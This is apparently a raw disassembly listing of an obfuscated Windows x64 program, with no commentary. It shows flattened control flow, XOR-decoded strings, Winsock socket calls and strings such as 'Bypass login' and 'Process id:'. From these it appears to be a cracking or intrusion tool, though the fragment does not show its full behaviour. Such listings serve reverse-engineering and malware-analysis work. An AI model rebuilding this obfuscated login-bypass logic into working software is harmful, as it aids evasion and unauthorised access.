movzx ecx, byte [rbp + 0x188]
mov rdx, qword [rbp + 0x190]
mov byte [rdx], cl
mov r8, qword [rbp + 0x190]
movsx r9, byte [rax + 0x15]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
cmp dword [0x1402b5e44], 0xa
setl dl
or dl, cl
mov r10d, 0xcf11b8d3
mov ecx, 0xa939350a
cmove r10d, ecx
mov r11d, 0xa56cc5a2
cmove r11d, ecx
mov ecx, 0xba371466
nop word cs:[rax + rax]
cmp ecx, 0xba371465
jle 0x140037b01
cmp ecx, 0xcf11b8d3
je 0x140037b92
cmp ecx, 0xbf6db58e
je 0x140037b6f
cmp ecx, 0xba371466
jne 0x140037ac0
mov qword [rbp + 0x1c0], r9
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_setsockopt
mov ecx, 0xbf6db58e
jmp 0x140037ac0
cmp ecx, 0xa56cc5a2
je 0x140037b77
cmp ecx, 0xa939350a
jne 0x140037ac0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140037ac0
mov ecx, r11d
jmp 0x140037ac0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r10d
jmp 0x140037ac0
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r8 + 1], cl
movsx r9, byte [rax + 0x16]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
cmp dword [0x1402b5e44], 0xa
setl dl
or dl, cl
mov r10d, 0xcf11b8d3
mov ecx, 0xa939350a
cmove r10d, ecx
mov r11d, 0xa56cc5a2
cmove r11d, ecx
mov ecx, 0xba371466
nop dword [rax + rax]
cmp ecx, 0xba371465
jle 0x140037c31
cmp ecx, 0xcf11b8d3
je 0x140037cc2
cmp ecx, 0xbf6db58e
je 0x140037c9f
cmp ecx, 0xba371466
jne 0x140037bf0
mov qword [rbp + 0x1c0], r9
mov qword [rbp + 0x1a0], reloc.WLDAP32.dll_Ordinal_22
mov ecx, 0xbf6db58e
jmp 0x140037bf0
cmp ecx, 0xa56cc5a2
je 0x140037ca7
cmp ecx, 0xa939350a
jne 0x140037bf0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140037bf0
mov ecx, r11d
jmp 0x140037bf0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r10d
jmp 0x140037bf0
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r8 + 2], cl
movsx r9, byte [rax + 0x17]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
cmp dword [0x1402b5e44], 0xa
setl dl
or dl, cl
mov r10d, 0xcf11b8d3
mov ecx, 0xa939350a
cmove r10d, ecx
mov r11d, 0xa56cc5a2
cmove r11d, ecx
mov ecx, 0xba371466
nop dword [rax + rax]
cmp ecx, 0xba371465
jle 0x140037d61
cmp ecx, 0xcf11b8d3
je 0x140037df2
cmp ecx, 0xbf6db58e
je 0x140037dcf
cmp ecx, 0xba371466
jne 0x140037d20
mov qword [rbp + 0x1c0], r9
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_socket
mov ecx, 0xbf6db58e
jmp 0x140037d20
cmp ecx, 0xa56cc5a2
je 0x140037dd7
cmp ecx, 0xa939350a
jne 0x140037d20
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140037d20
mov ecx, r11d
jmp 0x140037d20
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r10d
jmp 0x140037d20
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r8 + 3], cl
movsx r11, byte [rax + 0x18]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5e44], 0xa
setl dl
or dl, cl
mov r9d, 0xcf11b8d3
mov ecx, 0xa939350a
cmove r9d, ecx
mov r10d, 0xa56cc5a2
cmove r10d, ecx
mov ecx, 0xba371466
nop dword [rax]
cmp ecx, 0xba371465
jle 0x140037e91
cmp ecx, 0xcf11b8d3
je 0x140037f2a
cmp ecx, 0xbf6db58e
je 0x140037eff
cmp ecx, 0xba371466
jne 0x140037e50
mov qword [rbp + 0x1c0], r11
mov qword [rbp + 0x1a0], Ordinal_32
mov ecx, 0xbf6db58e
jmp 0x140037e50
cmp ecx, 0xa56cc5a2
je 0x140037f07
cmp ecx, 0xa939350a
jne 0x140037e50
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140037e50
mov ecx, r10d
jmp 0x140037e50
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rsi, qword [rbp + 0x1c0]
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
mov ecx, r9d
jmp 0x140037e50
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r8 + 4], cl
movsx r11, byte [rax + 0x19]
mov ecx, 0xba371466
nop word cs:[rax + rax]
cmp ecx, 0xba371465
jle 0x140037f91
cmp ecx, 0xcf11b8d3
je 0x140038022
cmp ecx, 0xbf6db58e
je 0x140037fff
cmp ecx, 0xba371466
jne 0x140037f50
mov qword [rbp + 0x1c0], r11
mov qword [rbp + 0x1a0], Ordinal_32
mov ecx, 0xbf6db58e
jmp 0x140037f50
cmp ecx, 0xa56cc5a2
je 0x140038007
cmp ecx, 0xa939350a
jne 0x140037f50
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140037f50
mov ecx, r10d
jmp 0x140037f50
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r9d
jmp 0x140037f50
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r8 + 5], cl
movsx rax, byte [rax + 0x1a]
mov ecx, 0xba371466
nop dword [rax]
cmp ecx, 0xba371465
jle 0x140038081
cmp ecx, 0xcf11b8d3
je 0x14003811b
cmp ecx, 0xbf6db58e
je 0x1400380ef
cmp ecx, 0xba371466
jne 0x140038040
mov qword [rbp + 0x1c0], rax
mov qword [rbp + reloc.WLDAP32.dll_Ordinal_260], 0x1a
mov ecx, 0xbf6db58e
jmp 0x140038040
cmp ecx, 0xa56cc5a2
je 0x1400380f7
cmp ecx, 0xa939350a
jne 0x140038040
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140038040
mov ecx, r10d
jmp 0x140038040
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov r11, qword [rbp + 0x1c0]
mov edx, ecx
xor edx, ecx
not edx
and edx, r11d
xor edx, ecx
mov ecx, r9d
jmp 0x140038040
mov byte [rbp + 0x188], dl
movzx eax, byte [rbp + 0x188]
mov byte [r8 + 6], al
mov byte [r8 + 7], 0
mov rax, qword [rbp + 0x198]
mov byte [rax + 0x1c], 1
mov rax, qword [rbp + 0x198]
mov rsp, qword [rbp + 0x90]
sub rsp, 0x20
lea rdx, [rbp + 0x1d0]
mov rcx, rdi
call fcn.1400b3e50
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp + 0x148]
call fcn.1400036d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, str.Bypass_login
lea rcx, [rbp - 0x58]
call fcn.1400015d0
add rsp, 0x20
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5e0c], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x1400381e2
or cl, al
je 0x1400381e2
nop word cs:[rax + rax]
jmp 0x1400381e0
sub rsp, 0x20
lea rcx, [0x1402b5810]
lea rdx, [rbp - 0x58]
call fcn.14022a780
add rsp, 0x20
sub rsp, 0x20
lea rcx, [0x1402b6a20]
call fcn.1400f6530
add rsp, 0x20
mov dword [0x1402b6a58], eax
test eax, eax
je 0x140038262
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002b10
add rsp, 0x20
mov rsi, rax
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, al
jne 0x140038292
xor cl, al
jne 0x140038292
nop dword [rax + rax]
jmp 0x140038260
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, al
jne 0x1400382e2
xor cl, al
jne 0x1400382e2
nop dword [rax + rax]
jmp 0x140038290
sub rsp, 0x20
mov rcx, qword [rbp + 0xc8]
call section..text
add rsp, 0x20
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete dl
cmp dword [0x1402b5e0c], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x140038372
or cl, al
je 0x140038372
nop
jmp 0x1400382e0
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
lea rcx, [rbp + 0x148]
call section..text
add rsp, 0x20
sub rsp, 0x20
lea rdx, [rbp + 0x148]
mov rcx, rdi
call fcn.140002980
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.140002e40
add rsp, 0x20
mov edx, dword [0x1402b5e08]
lea ecx, [rdx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete dl
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, dl
jne 0x14003cc82
xor cl, dl
jne 0x14003cc82
nop word cs:[rax + rax]
jmp 0x140038370
sub rsp, 0x20
mov rcx, rsi
mov rdx, qword [rbp + 0xc8]
call fcn.140002980
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.140002e40
add rsp, 0x20
mov qword [rbp - 0x18], rsp
mov ecx, 0xcdc3f69
cmp ecx, 0xcdc3f69
je 0x1400383b4
cmp ecx, 0x6ca42d3f
jne 0x1400383a2
jmp 0x1400383bb
mov ecx, 0x6ca42d3f
jmp 0x1400383a2
mov qword [rbp + 0x90], rax
mov eax, 0xe8c0a260
mov r14d, 0x7a8b2334
mov r15d, 0xdbfe02e9
mov r12d, 0xc55389d3
mov r13d, 0x6c1e4422
mov ecx, 0x68a5badc
jmp 0x1400383eb
mov eax, 0x3c2a927
cmp eax, 0xf50bac3d
jle 0x140038435
cmp eax, 0x560b4797
jg 0x14003a77a
cmp eax, 0xf50bac3e
je 0x14003a821
cmp eax, 0x3c2a927
jne 0x1400383eb
mov eax, dword [0x1402b5e50]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0x560b4798
mov r9d, 0xc225df30
jmp 0x14003a7fc
cmp eax, 0xe8c0a25f
jle 0x14003a7c5
cmp eax, 0xe8c0a260
je 0x14003a7da
cmp eax, 0xf4b822b8
jne 0x1400383eb
mov r9, rsp
mov eax, dword [0x1402b5e54]
mov edx, dword [0x1402b5e58]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete byte [rbp + 0x130]
cmp edx, 0xa
setl byte [rbp + 0x188]
mov eax, 0xf583c235
jmp 0x140038490
mov eax, 0x11ff70d4
nop
cmp eax, 0x5410b5bd
jle 0x140039470
cmp eax, 0x68a5badb
jg 0x1400394a0
cmp eax, 0x597adf79
je 0x1400395f8
cmp eax, 0x66dcf86e
jne 0x14003a621
mov rax, qword [rbp + 0x128]
mov rax, qword [rbp + 0x190]
lea rdx, str._____Process_id_:
mov qword [rax], rdx
mov rax, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0xc0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r8d, dword [0x1402b5e5c]
lea r10d, [r8 + 1]
imul r10d, r8d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r8b
cmp dword [0x1402b5e60], 0xa
setl r10b
or r10b, r8b
mov r8d, 0xdf86ae55
cmovne r8d, r14d
movzx r10d, byte [rdx]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xb
mov edx, 0x840d488a
jmp 0x140038570
cmp ebx, 0x73ee0625
jne 0x1400385ec
mov edx, 0x6c1e4422
nop dword [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x1400385a0
cmp ebx, 0xdbfe02e8
jg 0x1400385d0
mov edx, edi
cmp ebx, 0x840d488a
je 0x140038570
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140038570
mov edx, 0xe14df8c5
jmp 0x140038570
cmp ebx, 0x73ee0624
jg 0x14003855a
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x140038570
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140038570
mov edx, esi
jmp 0x140038570
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140038570
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140038570
mov edx, 0xdbfe02e9
jmp 0x140038570
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140038570
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r8d, dword [0x1402b5e5c]
lea r10d, [r8 - 1]
imul r10d, r8d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r8b
cmp dword [0x1402b5e60], 0xa
setl r10b
or r10b, r8b
mov r8d, 0xdf86ae55
cmovne r8d, r14d
movzx r10d, byte [rdx + 1]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xc
mov edx, 0x840d488a
jmp 0x140038690
cmp ebx, 0x73ee0625
jne 0x14003870c
mov edx, 0x6c1e4422
nop word [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x1400386c0
cmp ebx, 0xdbfe02e8
jg 0x1400386f0
mov edx, edi
cmp ebx, 0x840d488a
je 0x140038690
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140038690
mov edx, 0xe14df8c5
jmp 0x140038690
cmp ebx, 0x73ee0624
jg 0x140038676
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x140038690
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140038690
mov edx, esi
jmp 0x140038690
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140038690
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140038690
mov edx, 0xdbfe02e9
jmp 0x140038690
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140038690
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 1], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r8d, dword [0x1402b5e5c]
lea r10d, [r8 + 1]
imul r10d, r8d
mov r8d, r10d
xor r8d, 0xfffffffe
test r8d, r10d
setne r8b
sete r10b
cmp dword [0x1402b5e60], 0xa
setge r11b
setl bl
xor bl, r10b
or r11b, r8b
xor r11b, 1
or r11b, bl
mov r8d, 0xdf86ae55
cmovne r8d, r14d
movzx r10d, byte [rdx + 2]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xd
mov edx, 0x840d488a
jmp 0x1400387c0
cmp ebx, 0x73ee0625
jne 0x14003883c
mov edx, 0x6c1e4422
nop dword [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x1400387f0
cmp ebx, 0xdbfe02e8
jg 0x140038820
mov edx, edi
cmp ebx, 0x840d488a
je 0x1400387c0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x1400387c0
mov edx, 0xe14df8c5
jmp 0x1400387c0
cmp ebx, 0x73ee0624
jg 0x1400387a7
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x1400387c0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x1400387c0
mov edx, esi
jmp 0x1400387c0
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x1400387c0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x1400387c0
mov edx, 0xdbfe02e9
jmp 0x1400387c0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x1400387c0
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 2], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r8d, dword [0x1402b5e5c]
lea r10d, [r8 + 1]
imul r10d, r8d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r8b
cmp dword [0x1402b5e60], 0xa
setl r10b
or r10b, r8b
mov r8d, 0xdf86ae55
cmovne r8d, r14d
movzx r10d, byte [rdx + 3]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xe
mov edx, 0x840d488a
jmp 0x1400388e0
cmp ebx, 0x73ee0625
jne 0x14003895c
mov edx, 0x6c1e4422
nop dword [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140038910
cmp ebx, 0xdbfe02e8
jg 0x140038940
mov edx, edi
cmp ebx, 0x840d488a
je 0x1400388e0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x1400388e0
mov edx, 0xe14df8c5
jmp 0x1400388e0
cmp ebx, 0x73ee0624
jg 0x1400388c7
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x1400388e0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x1400388e0
mov edx, esi
jmp 0x1400388e0
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x1400388e0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x1400388e0
mov edx, 0xdbfe02e9
jmp 0x1400388e0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x1400388e0
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 3], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r8d, dword [0x1402b5e5c]
lea r10d, [r8 + 1]
imul r10d, r8d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r8b
cmp dword [0x1402b5e60], 0xa
setl r10b
or r10b, r8b
mov r8d, 0xdf86ae55
cmovne r8d, r14d
movzx esi, byte [rdx + 4]
mov edi, 0xdf86ae55
cmovne edi, r15d
mov r11d, 0x73ee0625
cmovne r11d, r12d
mov r10d, 0x73ee0625
cmovne r10d, r13d
xor sil, 0xf
mov edx, 0x840d488a
jmp 0x140038a00
cmp ebx, 0x73ee0625
jne 0x140038a7c
mov edx, 0x6c1e4422
nop dword [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140038a30
cmp ebx, 0xdbfe02e8
jg 0x140038a60
mov edx, r10d
cmp ebx, 0x840d488a
je 0x140038a00
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140038a00
mov edx, 0xe14df8c5
jmp 0x140038a00
cmp ebx, 0x73ee0624
jg 0x1400389e7
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x140038a00
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140038a00
mov edx, r11d
jmp 0x140038a00
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140038a00
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140038a00
mov edx, 0xdbfe02e9
jmp 0x140038a00
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140038a00
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 4], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 5]
xor sil, 0x10
mov edx, 0x840d488a
jmp 0x140038ad0
cmp ebx, 0x73ee0625
jne 0x140038b4c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140038b00
cmp ebx, 0xdbfe02e8
jg 0x140038b30
mov edx, r10d
cmp ebx, 0x840d488a
je 0x140038ad0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140038ad0
mov edx, 0xe14df8c5
jmp 0x140038ad0
cmp ebx, 0x73ee0624
jg 0x140038ab4
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x140038ad0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140038ad0
mov edx, r11d
jmp 0x140038ad0
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140038ad0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140038ad0
mov edx, 0xdbfe02e9
jmp 0x140038ad0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140038ad0
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 5], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 6]
xor sil, 0x11
mov edx, 0x840d488a
jmp 0x140038ba0
cmp ebx, 0x73ee0625
jne 0x140038c1c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140038bd0
cmp ebx, 0xdbfe02e8
jg 0x140038c00
mov edx, r10d
cmp ebx, 0x840d488a
je 0x140038ba0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140038ba0
mov edx, 0xe14df8c5
jmp 0x140038ba0
cmp ebx, 0x73ee0624
jg 0x140038b84
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x140038ba0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140038ba0
mov edx, r11d
jmp 0x140038ba0
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140038ba0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140038ba0
mov edx, 0xdbfe02e9
jmp 0x140038ba0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140038ba0
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 6], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 7]
xor sil, 0x12
mov edx, 0x840d488a
jmp 0x140038c70
cmp ebx, 0x73ee0625
jne 0x140038cec
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140038ca0
cmp ebx, 0xdbfe02e8
jg 0x140038cd0
mov edx, r10d
cmp ebx, 0x840d488a
je 0x140038c70
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140038c70
mov edx, 0xe14df8c5
jmp 0x140038c70
cmp ebx, 0x73ee0624
jg 0x140038c54
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x140038c70
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140038c70
mov edx, r11d
jmp 0x140038c70
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140038c70
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140038c70
mov edx, 0xdbfe02e9
jmp 0x140038c70
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140038c70
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 7], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 8]
xor sil, 0x13
mov edx, 0x840d488a
jmp 0x140038d40
cmp ebx, 0x73ee0625
jne 0x140038dbc
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140038d70
cmp ebx, 0xdbfe02e8
jg 0x140038da0
mov edx, r10d
cmp ebx, 0x840d488a
je 0x140038d40
cmp ebx, 0x73ee0624
jg 0x140038d24
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x140038d40
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140038d40
cmp eax, 0xf583c234
jg 0x140039550
cmp eax, 0x928d138e
je 0x1400395b3
cmp eax, 0x93073915
jne 0x140038490
mov eax, 0x5410b5be
jmp 0x140038490
cmp eax, 0x68a5badc
je 0x14003848a
cmp eax, 0x755fc2e9
jne 0x140038490
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x128], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x190], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rdx, rsp
mov eax, dword [0x1402b5e54]
mov r8d, dword [0x1402b5e58]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete r11b
cmp r8d, 0xa
setl bl
xor bl, r11b
mov r11d, 0x928d138e
cmovne r11d, ecx
test eax, r10d
mov eax, r11d
cmove eax, ecx
cmp r8d, 0xa
mov qword [rbp + 0x1c0], rdx
cmovge eax, r11d
jmp 0x140038490
cmp eax, 0xf583c235
je 0x1400395bd
cmp eax, 0x11ff70d4
jne 0x140038490
mov eax, dword [0x1402b5e54]
mov edx, dword [0x1402b5e58]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r10b
cmp edx, 0xa
setl r11b
xor r11b, r10b
mov r10d, 0x66dcf86e
mov r11d, 0x597adf79
cmovne r10d, r11d
test eax, r8d
